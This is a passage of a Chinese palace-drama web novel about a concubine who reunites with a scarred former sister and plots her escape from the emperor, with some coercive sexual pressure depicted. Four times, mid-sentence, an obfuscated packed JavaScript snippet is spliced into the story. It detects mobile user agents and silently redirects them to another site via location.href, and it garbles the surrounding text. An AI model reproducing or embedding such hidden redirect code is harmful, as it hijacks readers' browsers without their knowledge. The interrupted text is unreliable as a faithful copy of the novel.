邓贵妃温言软语，喊陛下千万保重龙体，客套话说完，才状若不经意地问道：“陛下方才是去宁姐姐那儿了吧？宁姐姐可还置气？不若臣妾向她道歉吧，归根到底是臣妾带的人。” 石虔早就看出来邓贵妃瞧宁絮不顺眼，哪怕宁絮什么也不做，光是站在那，就足够膈应人，话里话外都绕不开。 没办法，哪怕比宁絮年轻了六岁有余，本身脸蛋也是极尽娇艳，往宁絮身边一站，还是相形见绌。这个威胁太大了，任何女人都无法忽略，何况邓贵妃本身就有着世家千金的傲气。 石虔太明白该如何对症下药，温声道：“筠儿，你不必介意宁絮的存在。朕对她再偏爱，也无非是看在往昔情分，你何必自降身价同她比。孰重孰轻，你要分清楚，免得让人背地里说你没有容人雅量。” 邓贵妃本名邓筠，筠儿这种亲密昵称，是在娘家时爹娘才会叫的。陛下一叫，她登时美得找不着北，自然陛下说什么就是什么。 石虔又道：“不过，容人归容人，宫妃犯了错，你也不能纵容。上午在花园里多嘴长舌的那个，你看着处置吧，后宫之事朕信得过你，就不多过问了。” 此后又有几次小聚，邓贵妃无一例外邀请了宁絮。宁絮如常应邀，发现她们都客气了许多，且席间再未出现过上回那个小妃子。 她偶然问起，其他人都讳莫如深，只道兴许是在面壁思过。 那妃子的寝宫离翠微阁不远，宁絮从长乐宫出来，绕了一条路，从那边经过，瞅见几个内侍用草席卷了一个长条出来，不知里面包的是什么。 宁絮没有立场去深究这些，匆匆一瞥便迅速离去。不看，不听，不想，乃是自保要诀。 她回到翠微阁，开始命人清点行囊。从京城到江都要走两月有余，需要带的东西不少，从前她说出发便出发，半个时辰内便能打包完毕，现在讲究排场和礼节，弄得束手束脚，耗费的时间也是倍增。 石虔以微服私访的名义说服臣子，让自己能有数月自由身，并且强调一个微字，即是不得惊动太多人，搞得前呼后拥，就失去了意义。 因此顺理成章赖掉了邓贵妃，让她老老实实呆在后宫管事。 能力排众议带上宁絮一同前往，则多亏宁絮当年的本事，又能记路线，又能说多地方言，真有什么事，带在身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326033|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用着也顺手。 过完除夕后不久便上路，石虔上头没有太后，旁系的兄弟叔侄又死得差不多了，故而免了很多不必要的活动。临行前，他与邓贵妃联络感情，说些体己话，以稳她心神。 邓贵妃原本只是眼眶微红，被他轻言细语哄了一番，彻底憋不住了，哭得梨花带雨，抱着他黏糊了好一会儿才松手，出发的时辰都往后推了片刻。 石虔好不容易甩掉她，上了马车，就见宁絮安之若素，抱着一本封皮都掉了的旧书，读得津津有味。 他凑过去一看，这书是讲江都地带文化的，杂七杂八什么都有，饮食方言地理一应俱全。 宁絮笑道：“臣妾做功课呢，等着为陛下分忧解难。” 石虔伸手挠她：“对他们装装也就罢了，在朕面前还搞这小把戏？别忘了此行全是为了你——” 二人在马车里闹腾片刻，石虔无意识地抬手抹了抹脸，抹下一片淡红，愣了一下才反应过来，这是邓贵妃留下的痕迹。 宁絮体贴道：“不明显的，不仔细看完全看不出。何况陛下与贵妃娘娘恩爱，这是好事，让旁的人看了，也只会欣慰，不算失了体统。” 若不是宁絮的语气实在太真诚，石虔差点就要以为她是在吃醋。但依着他的了解，她吃醋时又不是这个秉性，醋缸子一倒，嘴里出来的每个字都是刺猬，扎人得很。 他抓着宁絮的手，让宁絮的指腹擦过残余的唇脂，擦干净了也不肯松手：“三娘心里又不好过了？” 宁絮便知道他又在心里想些有的没的，全天下女人都为他争风吃醋他才高兴呢。对皇上翻白眼太失礼了，她只道： “臣妾心知皇上曾经是吃过苦的，如今皇上有人爱，臣妾有什么不好过的？臣妾宁愿天下人不光敬畏皇上，更是对皇上有着发自内心的爱。” 只要宁絮乐意，她可以把所有人哄得团团转，石虔也不例外。他听了也不知道想到什么，眼中波光粼粼，抱着宁絮，哽咽得说不成话。 男儿有泪不轻弹，石虔甚少落泪。上辈子宁絮只见他掉过三次眼泪，有一次还是成功认祖归宗，夺回了皇子身份，演戏的成分大于真心。 她惊讶于他现在如此感性，至于缘由，她不关心。皇帝最自由了，爱怎么哭就怎么哭，没人管得了，她但求别把眼泪鼻涕全蹭在她衣服上。 “三娘，三娘……你是世上待我最好的人，是我对不住你……” 宁絮起了一后背的鸡皮疙瘩。宁可对她冷漠以待，或者咄咄逼人，也好过这样真情流露。 皇帝的真情一般人可承受不住，尤其这其中似乎还带着愧意，更是折煞了人。 这时什么都不要说为好。她一只手轻轻拍着石虔宽阔的背，一只手悄悄撩起帘子，看向窗外。 现在已经出宫了，但还没离开京城。 她在石虔的喃喃自语之中，默默地记下如今的景致和路线。 5. 故人 久了没出来，外面变了一副样子，宁絮感到很新奇，一有空就扒着窗边往外看。 看到后面石虔都吃味，问她可是相中了哪位美公子。 宁絮连连否认，只道天下男子皆比不得陛下半分英俊，倘若陛下肯去给她买鱼羹，就更是俊美得令天地失色。 从前在明月楼，小石头也会带鱼羹上来。为了保持身材，鸨姐儿严格控制她们的饮食，姐妹们嘴里淡得没味道，全靠宁絮与石虔交好，让他带些零嘴，趁鸨姐儿不在大家分着吃。 一说到鱼羹，石虔也想起那时的事情，笑着去捏宁絮的脸：“三娘又嘴馋了？” 宁絮身段好似玉瓶，进了宫里好吃好喝的养着，却比当年瘦了许多，皮贴骨，揪不出一点肉。石虔舍不得再捏，应道：“过了这条街，到前面的客栈，便停下休整。咱们去集市逛逛，看上什么，朕都买给你。” 在客栈小憩，喝了一盏茶后，石虔履行诺言，乔装改扮一番，带着宁絮出门。身后跟着几个侍卫，皆扮作平民，散乱在人群里，很不起眼。 石虔差人打听清楚了，这片地方口碑最好的鱼羹在百花楼，依水而建，水美鱼肥。早有人替他跑腿，订下了雅间的位子，只等他在外逛得尽兴了，前去品尝全鱼宴。 宁絮手上拿着石虔给她买的糖画，一路走一路抿，到了百花楼门口才堪堪吃了一半。门边挂着鸽子笼，两只深灰色的鸽子好奇地盯着她手上的物件。 她正打算抛却这副斯文相，三两下对付完，就见后厨走出来一位女子，低眉颔首，端着一碟鱼羹，上给靠窗的那一桌客人。 女子脸上蒙了纱，身形窈窕，那一桌又全是男客，不免想入非非。 其中一位喝大了，直接上手扯下那层面纱，而后大骇，一个劲地骂娘。 同桌的另一位也是吓得一抖手，将鱼羹打翻在地。 “你们家掌柜的呢？这么大个酒楼，招不到店小二了不成？找这么一个丑妇端茶送水，存心让人吃不下饭么？！” 老板闻声赶来，不由分说抽了女子两个嘴巴，对几位客官陪笑脸，揽下全部过错，又答应免了这顿饭钱，一行人方才作罢。 宁絮看在眼里，恨不得给那桌男客连带老板一人赏一个耳刮子。她曾经习武，手劲大，若是不加收敛，一巴掌过去能给打掉他们牙。 可惜跟在石虔身边，不得轻举妄动。 那女子无端遭受打骂，也无甚反应，蹲下收拾残局。转身的一刻，宁絮瞥见她正脸，呼吸一窒。 糖画跌落在地，已经看不出原本的形状。 女子脸上一大块疙里疙瘩的疤痕，形容可怖，看着像烧伤。但就算她已经面目全非，宁絮凭步态和轮廓，也绝不会认错。 石虔察觉到宁絮落后，回过头就看到她手抓在楼梯栏杆上，想是极为用力，骨节都泛白。顺着她的视线望过去，他倒是什么也没看见，无非是后厨那边的人来来往往。 他对酒楼里的吵闹不甚在意，觉得顶多就是客人声音大了点，宁絮许是久未见生人，不太适应。 他下了几级台阶，去搂宁絮：“好了，左不过是市井小民瞎叫唤，他们闹起来就是没有分寸的，你还记挂上了。快上来，你不是盼鱼羹盼了好久了。” 宁絮敛了心绪，对他笑了笑，与他一同上楼，神色如常。席间谈笑风生，不免多喝了几杯酒，烈度都不高，饶是如此，宁絮到后来还是捂着腹部眉头微蹙。 石虔看出她异样，立刻差人倒热茶：“怎么，又疼了？你不能再拖了，等回去我一定叫医官来替你诊治。” “不是这个原因。”宁絮面露难色，“是……可能是吃得有点多了，我想……” 石虔一愣，而后了然，哭笑不得：“去吧去吧，我以为多大事……我叫两个人跟你一块儿，人生地不熟的，别找不回来了。” “这就不必了，妾身难道不懂开口问人吗。”宁絮有点恼羞成怒，压低声音，“都是男子，怎好跟着我！我去去就回——” 石虔许久不见她如此生动的样子，于是依着她，真的没喊人跟随。想想也是，她并非手不能提肩不能扛的千金小姐，当年走南闯北什么事没做过，还能跑丢了不成？ 宁絮走出雅间，下了楼梯，问店小二茅房在哪。进了茅厕却并不动作，而是从窗子翻出去，抄了另一条路去了酒楼后门。 后门连通后厨，她猫着身子等待片刻，果不其然等到了方才被掌掴的女子。 女子手上拿着一个木盆，应当是准备去打水洗碗。宁絮将她拦腰一抱，挟着她躲进旁边僻静无人的拐角。 她张了张嘴，几度欲言又止，最后轻声道：“夫人这是做什么？” 宁絮怒极反笑：“你叫我什么？你敢说你记不得我了？” 她垂着头，再不言语。 宁絮深呼吸几下，按住她肩膀：“秋霞，你告诉我，你怎么会在这里？当年我们解散，我听闻你嫁了个富商。” 她们到底是贱籍出身，即便有功，也嫁不到什么好人家。当年石虔大手一挥，让她们全部脱离贱籍，还主动提出要为她们觅得夫婿，朝中人都颇有微词，认为有伤风化。 宁絮能入后宫，更是引起了轩然大波。 情义尚在之时，石虔力排众议，就这样做了。后来他告诉宁絮，他命人去给明月楼的姐妹们说亲，全国各地的富商这么多，绝不至于在吃喝上苦了她们，晚年也会有个好归宿。 石虔自认仁至义尽，言语之间颇有邀功的意思。宁絮试着去承他的情，奈何心有不甘，怎么也给不出个笑脸。 助他打下江山的，还有当年一起表演杂耍的兄弟，人家可是一跃成为大将军了。江湖艺人和烟花女子，同样是下九流，论功行赏之际，何以待遇如此天差地别？ 凭什么？ 宁絮如鲠在喉，极力克制着没有去呛石虔。石虔看她拉着脸，也觉得来气，最后二人不欢而散。 念在眼下的境遇不知比在明月楼好了多少倍，宁絮最终还是咽下这口气。不咽也得咽。知道当年的姐妹们安好，她也就没什么可遗憾的。 但是秋霞这副样子，怎么看也不像过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326034|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得好。 宁絮心神激荡，看着她脸上蜿蜒曲折的疤痕，眼前阵阵发黑：“秋霞，你说实话，到底是怎么回事？” 秋霞又低下头，她现在不爱以本来面目示人了，怕吓着人，也怕叫人骂。没有底气，声音也细弱，说起前因后果都断断续续的。 当初她嫁了富商不假，皇上指派来的，就算嫌弃，人家也不敢薄待了她。 这位富商已经年迈，正妻病逝，她是续弦，家里几个儿女都与她差不多大，相处起来磕磕绊绊，人家对她始终谈不上接纳。 没两年富商也走了，江都离京城又不近，隔了这么久，料想皇上也早就想不起有这么一号人，他们便不再客气。 财产必然是分不到半点，甚至谁也不肯给她一间屋子住。人活着就要找饭吃，她只得出来找事做。老本行是万万不愿再做，身上确实有些本事，但是镖局这种地方甚少收女子，她进不去。 思前想后，也只有卖力气做帮工一条路，还得每天把脸涂黑，免得被有心之人盯上。 她那时就跟在现在这位掌柜手下帮工，那会儿百花楼还只是一间不起眼的小店，并不富裕。有一次后厨起火，她拼着力气把新送来的肉抢出来，脸也被灼得不能看了。 这掌柜也有几分义气，再难也不曾辞掉她，直到开了酒楼，也还在用她，包食宿还发工钱。只是他脾气一贯暴躁，且无条件站在客人那一边，客人找哪个伙计的麻烦，他便对那伙计动手。 秋霞没少蒙受不白之冤，但比起流离失所，在这呆着已经是最好的选择。 “姐姐，你过得可好？” 宁絮一时语塞。她能吃饱穿暖，甚至可说锦衣玉食，怎能算是不好？ 但，她看到过那些文臣武将是何等意气风发，也记得临死那天的雪是何等寒冷彻骨。 这个好字，又无论如何都说不出口。 秋霞和她差不多算是一起长大的，很多事情不用说也心知肚明。她不刨根究底，只轻轻拍了拍宁絮的胳膊。 她们在这叙话的时间已经够久，怕石虔派人来寻，宁絮贴在秋霞耳边长话短说：“我要走，先想法子弄点钱，你在这等我，到时我带你一起走。你还知道其他人的下落吗？” 秋霞看着唯唯诺诺，对宁絮这番离经叛道之言却并不意外。她摇头，说大家早就彼此失散了，一开始还跟梅诗诗有书信往来，后来不知怎的，诗诗那边也再无回音。 “当时她嫁到丰城，离这儿不远，现在就不知道了。” “姐姐，你想去哪里？” 当年宁絮从京城返回，要带她们一块儿离开明月楼，去投奔石虔，秋霞是第一个站出来响应的。她平素不声不响，安分守己，仿佛什么都能忍，可一旦有脱离泥潭的机遇，哪怕希望渺茫，她也会去试试。 “还没定好地方，此事须得从长计议。” 秋霞低声道：“你来这一趟，很快又要走吧，如何计议？宫里准许与外人通信？” 宁絮眼珠一转，计上心来：“你们百花楼门口那两只鸽子，卖吗？” 6. 拜岳父 那两只深灰色的鸽子原本是肉鸽，鸽笼挂在门边，来往客人总会赞它们乖巧有趣。后来掌柜觉得留着它们当吉祥物，也不是坏事，于是它们得以保住小命。 不过鸽子终归不是什么值钱物件，客人出价高，哪有不卖的道理。 秋霞去跟掌柜传达意见，说有位女客看中了鸽子，一会儿来结账。掌柜大手一挥，大有让她现在就提着鸽笼送给人家的意思，钱不钱的，只要贵客常来，他自己钻笼子里扮演鸽子都成。 不多时，宁絮搂着石虔的胳膊下来，边走边指着鸽子，说起话来眉飞色舞，从毛色到体格到性格，把这两只鸽子夸上了天，总而言之，今天必须要得到。 她很难得喜欢一样东西，喜欢到非它们不可。横竖两只鸽子不难管，带在路上也没什么，到时候进宫了也有宫人饲养，他欣然应允，给了掌柜两块金锭。 掌柜受宠若惊，连连推却：“两只破鸟儿，要不了这么多钱，使不得！” 石虔和蔼地笑笑：“是因为你家鱼羹好吃，我夫人说了，今天这顿饭是上乘的享受，合该额外多给些。” 宁絮依偎在他身边，一副天真烂漫之态：“是呀，能碰上完全合胃口的餐食，也是一桩缘分。” 她下巴扬了扬，对着秋霞，眼睛却一直看着掌柜：“你家这位妹妹手脚麻利，人也机灵，方才还为我指了路，帮了我大忙。我这人出门在外晕头转向，要不是她，我可能要绕晕了。” 掌柜闻言，喜不自胜，顺着宁絮的话头夸了秋霞几句。 宁絮提着鸽子笼，透过笼缝，目光与秋霞在半空交汇。只消一眼，彼此都心如明镜。 石虔在身侧，她能做的注定有限，连付账都得他亲自来呢。她若是表现得过于在意秋霞，难免引起他的好奇，而好奇太容易演变为怀疑。 连敲打一下掌柜，喊他对底下人好一点，这样微不足道的小事也不能做。她只能在这停留不足一日，护得一时护不了一世，她走后，秋霞处境会不会更糟也未可知。 也只能不痛不痒称赞一句，企盼掌柜下次呼巴掌之前记起来，秋霞是一位尽心尽力的店小二。 宁絮飞快对她做了个口型，她们当年训练时，习得一些粗浅的唇语，秋霞几乎同一时间就辨出她在说什么。 等我。 而后宁絮又温顺地贴着石虔，跟他往外走了。掌柜但觉这一男一女皆气度不凡，不知是哪里来的世家公子和少夫人，如此恩恩爱爱，和和美美，也是少见。 秋霞凝视着宁絮的背影，直到宁絮上了马车，消失视线里，她才又去桌边收拾残羹剩饭，端起盘子往后厨去。 她知道宁絮言出必行，从不失约。 上了马车，宁絮非得撩开帘子，要鸽子一路看着沿途的风景，美其名曰它们本来就是自由自在飞翔的，现在落在人手上了，至少得让它们饱饱眼福。 石虔笑道：“你脑子里都是哪里来这些稀奇古怪的念头，我以前怎么没发现？” 她抚摸着鸽子背上的羽毛：“我说的是实话呀，你看它们被我欺负得——” “那你就放了它们，让它们飞呗，那两块金锭权当替它们赎身了。” “那不行，放了它们，我玩谁去？” 石虔被她逗得捧腹：“你还真是直白啊，鸽子听得懂人话都想啄你了。” 宁絮给它们喂了一些吃的，又用手绢在它们面前晃，看架势还想给它们擦嘴。石虔不明白鸟嘴到底有什么可擦，但她乐意，那就随她去。 至于这手绢有何玄机，他自然看不出，姑娘家的东西，落在他眼里无非是花色的区别。 这是秋霞贴身的手绢，临行前搭在笼子上一块儿送了。 归巢乃鸽子的本能，熟悉的味道和风景，冥冥之中会为它们指引方向。 回家路上帮忙捎带些东西，总归不是一个过分的要求。 一路上有鸽子可逗，倒是不无聊，晃悠着晃悠着就到了江都。 宁絮凭着记忆，准确地找到那两座不起眼的坟头。没有墓碑，这其实都算不上坟头，只是掩映在草丛里，不起眼的两处小土包。 她跪于坟前，神色肃穆：“爹，哥哥，我来接你们了。” 这话宣之于口，她多少有点心虚。说是接他们回京城，可京城恰恰是她要逃离的地方，她在利用他们，让他们死后还要遭受惊扰。 但愿他们泉下有知，不要责怪她，倘若能保佑她平安顺利，就再好不过。 她一边想，一边唾弃自己贪心不足，可又觉得这实在是不能怨她，都是父亲和大哥当初太惯着她。 打小她就不像别家姑娘那么受拘束。母亲去得早，父亲没有再娶，也不纳妾，一门心思疼爱他们兄妹，哪怕是上房揭瓦他也纵着，从不把她钉在闺房做女红。 等她再长大些，父亲送了她一把短剑。每天念完书弹完琴，她就跟着父亲到院中学上几招，架子搭对了，就由哥哥带着她操练。 与她家世差不多的小姐们，没听说有学这些的，知道她成天跟着哥哥野，对她颇有微词。 她提及此事，父亲只道这样可以强身健体，而且姑娘家不一定非得呆在宅院里，万一将来她想游历山河，除了带盘缠，也得会一两样防身的本事。 哥哥在旁帮腔，说琴棋书画你都不差，你还会舞剑和搞偷袭，你懂的比她们多，什么时候轮得着她们笑你？ 宁絮那时还没出过远门，被父亲和哥哥说得找不着北，对出去见世面有着无尽的向往，时常幻想自己纵马奔腾，游历名山大川，路上再顺手揍几个山贼惩恶扬善，回来后写成游记，广为流传。 她长大后的确走得很远，但不似想象中意气风发，个中滋味实难形容，很多事情宁愿一忘了之。 行了礼，也就该挖开泥土，把里面的衣服收好了带走。她正准备起身，石虔冷不丁屈膝，齐齐地与她跪作一排。 “爹，大哥，”他声音平稳，语气郑重，“请你们放心把宁絮交给我，我一定待她好，绝不再辜负她。” 说罢，他弯下腰，重重地磕了三个响头。 宁絮听见后面的随从发出吸气声，此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326035|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起彼伏。 一国之君，哪怕生母尚在，都是不必行此大礼的，只有别人磕头拜见他的份。 这名不见经传的小坟包里究竟埋着什么人？这位份不高的小妃子在陛下心里又是什么份量？ 他们掂量不出来，但是看向宁絮的眼神，明显多了几分尊重和敬意。 宁絮看着石虔弯腰又直起腰板，额头上沾了若干土屑，朝他递上帕子。她自己倒是没磕，家里一直都没这规矩，连拜老祖宗，父亲也就让他们跪一条腿拉倒，不必将姿态放得如此之低。 石虔擦了脏污，去看她脸色，看不到悲切或动容，也没有感激，像冬天结冰的湖面。 他心中升腾起微妙的不快，但眼下没有发作的契机，只得按下不表，而后命随从掘土，将其中物品收纳封存。 这事花了不到半个时辰，当年宁絮全靠双手刨坑，故而埋得不太深。就是抖落泥土灰尘，清理干净，这一步费了点事。 未及晌午，他们便踏上回程。原本石虔定下在附近的酒楼吃一顿，但他不知怎的，临时改了主意，说还是尽快回宫，今日午餐从简。 马车上，宁絮也不逗鸽子了，靠在座上闭目养神。石虔憋着一口气，也不肯说话。 天色稍晚，途经市集，有叫卖蜜枣糕的。宁絮十几岁那会儿吃不饱肚子，嗜甜，每回他问要帮她带什么，她都指明了要饴糖、枣糕之类的。 他喊马夫在此停驻，掏了几枚铜钱，差人出去打听一下什么好吃。 不多时，随从跑腿回来，带了杂七杂八一堆小吃，石虔一看，里头果然有蜜枣糕，油纸包着，热腾腾的。 再往前几里就是今夜落脚的客栈，石虔挪了挪身子，把蜜枣糕放在他们之间，然后火速偏头看向窗外。 没一会儿，他听到摩挲声，但没有闻到更浓郁的甜香味，想是宁絮把枣糕收起来了，没有吃。 他心里更憋屈了，忍无可忍之际，宁絮轻轻地靠过来，脸贴在他胳膊上，像猫儿在蹭人。蹭着蹭着，他感觉衣服变得湿漉漉的，有水渗进来。 一瞬间他就不置气了，反手回抱宁絮，用衣袖给她擦眼泪，奈何越擦越多。 石虔有点后悔，中午何必对她甩脸子呢。父兄迁坟，她想到往事，难免伤感，照顾不到他的情绪，太正常了。横竖那几个响头也不是她逼着他磕的。 夫妻之间，计较这么多干嘛。 她在这世上没有其他亲人，只有他了，他该对她好些。 这一天消耗心力，宁絮哭得累了，趴在他肩头睡着了。到了客栈，他也没有叫醒她，手穿过膝窝将人打横抱起，从马车一路抱到二楼。 安顿她睡下后，不忘喊人拿毛巾打热水，细细地擦了她脸上的泪痕。 宁絮合着双眼，一副不设防的模样，在微弱的烛灯光下显得娇美而脆弱。石虔凝视良久，心里又酸又软。 不论宁絮父兄在天之灵信或不信，他的誓言的确发自真心。他是真的打算好好对她的，假以时日，他要找个由头升一升她的位份，再跟她生几个孩子。 7. 暗涌 轮不到宁絮怀孩子，这次“微服私访”结束，甫一回宫，石虔就先收到了另一则喜讯。 邓贵妃小腹微隆，算算日子，正是他走之前有的。 得知他今日抵达，她一大早就梳妆打扮好，站在宫门前等待，旁人如何劝都没用，她非要第一时间见到石虔。 女子孕中情绪波动大，其他人也不好强行规劝，只得为她搬来椅子，备好话梅、山楂之类的零嘴，清水和鸡汤各一个壶，御医也随时待命，伺候得相当精细。 这是石虔的第一个孩子，保不齐就是太子。后宫从上到下，这阵子护邓贵妃跟护眼珠子似的，生怕有个闪失，石虔拿了他们脑袋。 她月份其实不小了，因身量轻盈，不大显怀。小跑几步扑上来时，石虔根本没留意那么多，张开胳膊一搂，还没搂稳，她半边身子直接撞上车辙。 后面的宫人都惊得冷汗直冒，石虔在想事情，忽略了众人不自然的脸色，直到宁絮捏了他肩膀一把，他才如梦初醒，眼看着邓贵妃软软地往下滑，赶紧搀住。 好在已经过了头三个月，胎象稳了，邓贵妃并无大碍。她醒过来，见石虔守在床边，心里甜丝丝，面上泪汪汪，抓着他手不放。 “陛下，臣妾想你想得好苦。” 在她昏厥期间，御医已经对石虔交代，贵妃娘娘怀胎辛苦，偶尔使些小性儿，可能是因为身体变化，控制不住自己，还望陛下多加包涵。 即便是高高在上的天子，对自己的第一个孩子也是重视的，此乃人之常情，爱屋及乌，也会对孩子的母亲好，何况邓贵妃家世显赫，是皇后的不二之选。 所有人都觉得，接下来这段时间，他会把邓贵妃捧在手心里疼，想要什么都给她找来。为此，各路宫女和内侍都做好了被差遣的准备。 却不料他黑着一张脸，没有指使任何人，反倒挺不耐烦地对邓贵妃道：“你既然怀了孩子，不好生养胎，怎的还敢在外跑跑跳跳？” 邓贵妃的眼泪都忘了往外滚，半张着嘴，木木呆呆地看着他。 “行了，御医诊了脉，说你没事，别哭哭啼啼的，晦不晦气？若是闲了，就自己织些衣裳打发时间，想东想西消耗心神，对孩子不好。” 说罢他掰开她的手，头也不回地走了。出了长乐宫，就拐往翠微阁。 宁絮刚把鸽子安顿好，教导晚云和翠柳要如何清扫鸽舍。石虔现身，她十分讶异，下意识地用身子挡住两只鸽子。 “贵妃娘娘可还好么？陛下怎么也不多陪她一会儿。” “她能有什么事，还不就是装着不舒服，做给朕看的。”石虔哼了一声，想起什么，劈头盖脸教育宁絮，“你也是的，这些年白活了，朕当你见过的人多，有洞察人心的本事，结果你还上赶着关心起她？” “长点心眼吧，哪天被她坑惨了，你都不知道找谁哭去。” 石虔话里有话，听得她心中莫名的不安。 皇上和贵妃，地位和级别都比她高，无论谁说谁的不是，她都没有应和的道理，只得岔开话题：“陛下来找臣妾，所为何事？” 石虔着人拿了一副皇陵图来，指着陵园东南角一处墓室：“朕预备将你父兄安葬于此，可还有什么需要留心的？诸如陪葬物之类，你若是有想法，朕即刻命人安排。” 这处墓室是他特意找风水师算过的，阴阳协调，可令逝者安息。 地位稍低的皇亲国戚，尚不够资格入皇陵。像宁絮这种小妃子的父兄，名义上还是前朝罪人，若不是石虔真的这样安排下去了，任谁都觉得这事是异想天开。 皇陵是先帝在世时修筑的，已经完工，位于风水宝地。有现成的，石虔自然就懒得再重新修建或者改动，他在这方面本身也没有太多的忌讳。 左不过是多放两座空棺木进去，他开了口，谁敢不依？ 宁絮无以为报，唯有跪下谢恩。至于陪葬，她什么也不要，人都不在了，哪怕把墓室堆成金山银山，也没有意义。 谢过了也推拒过了，她以为此事已经落幕，满心希望石虔能快点离开，别搅扰了她训鸽子。 石虔将皇陵图递回给内侍，全无要走的意思。见宁絮一绺碎发柔柔地垂下来，一副荏弱乖巧的模样，突然动了心思，抱起她就朝着卧房走。 宁絮在半空徒劳地蹬腿，惊觉大事不妙，没反应过来，人就落在了床褥上。 曾经她对石虔还算有一腔真情，做起这档子事尚且不能说是享受。石虔发起狠来，比她之前在明月楼伺候过的任何一个恩客都过分，像是准备将她活活劈碎。 那时处境不好，险象环生，她又是要经常出去探取消息的，不适合怀孩子。因此在明月楼的习惯就这样保留下来，每次完事，灌一碗避子汤。 蛰伏数年，局势终于明朗，他们不再被动。石虔称帝后，内心的阴霾终于一扫而空，心里头不压抑了，对她也逐渐轻柔起来。 朝代更迭，王位易主，后宫也换上了新鲜面孔，唯独她的避子汤没变。从十岁出头喝到二十岁出头，一碗接着一碗，喝出一身大大小小的病。 但这也没办法。能让她在后宫一隅终老，已是天大的恩德，她若有喜，对皇帝来说就是有害。 玷污皇室血脉，分明是以怨报德。 很多事情石虔和其他臣子不说，她也明了，只是迟迟不愿正视和承认。 死而复生，她如今看开了。怀孕生子九死一生，石虔倒是子孙满堂了，对她自己实际并无多少益处。 身体为重，她还要留着命去跟秋霞汇合，去把当年并肩作战的姐妹一个一个找回来。 不能让石虔坏了她的事。他舒服了，代价可都是她来付。 她扣住石虔的手腕，不准他解自己的衣裳：“陛下，请您自重。您宠幸哪位嫔妃，都是需要记录在册的，别坏了规矩，令人家难做。” 石虔兴致当头，哪还管得了什么规矩不规矩：“三娘不必如此多虑，在这宫中朕就是最大的规矩。” 不要脸的玩意。宁絮在心中唾骂一句。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326036|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这时候装病，八成没什么效果，不能高估了他的良心。只有把利害关系摆在明面上，他才知道收敛。 她决定下一剂猛药。 “陛下，您想一想贵妃娘娘！” 石虔挑眉：“怎么？她有孕在身，朕也得跟着守身如玉，放着后宫这么多妃子不管吗？” “贵妃娘娘怀着皇子，这是您的第一个儿子，未来的太子，至关重要。您不陪着她，反倒来臣妾这儿，她会寒心，会影响到身体状况的。母子一体，母子连心，对孩子也不好。” 石虔嗤笑一声，浑不在意：“就是个公主罢了，你瞎操什么心。” 宁絮睫毛一颤，语气忽然冷静得可怕：“您为何如此笃定是个公主？” 石虔仿佛自知失言，手上力道都卸了三分，眼光随意地瞥向别处：“御医把了好几次脉了，错不了。” “不到生下来，谁也说不好，诊脉看男女，看错的比比皆是。陛下还是慎重些。”宁絮好言相劝。 “邓筠生的是皇子还是公主，又与你何干呢？你倒是比朕还上心。” 她顿了一下，紧接着无比认真道：“自然与臣妾有关。此事是有风险的，万一不走运，臣妾有了孩子，还恰好是个男孩，又是在贵妃娘娘诞下太子之前生出来的，岂不令陛下为难？” “于情于理，太子的母族都应该是高贵的，若是从臣妾这儿出来，就完全成了四不像。后续要如何处置，也是一桩麻烦事。” 历朝历代都是嫡长子作为太子，她所出的儿子跟嫡不相干，但又沾着一个长，到时定是争议不断，后宫也闹得鸡犬不宁。 诚然，到最后肯定是牺牲她的儿子，以稳住邓贵妃，但平白无故兜这么大一个圈子，又伤感情又耗心力，委实没必要。 宁絮所言，句句在理，她端详着石虔的面容，很满意地捕捉到了自己想看到的变化。 帝王最想要什么？无非一个稳字。 如她所料，石虔不再像方才那般急吼吼，而是松开了她。但他也没有就此下床离开，支着胳膊靠在枕边，要她用手。 宁絮无奈，有一种街边商贩被人讨价还价的感觉。但是各退一步已是不错的结局，她只得接受。 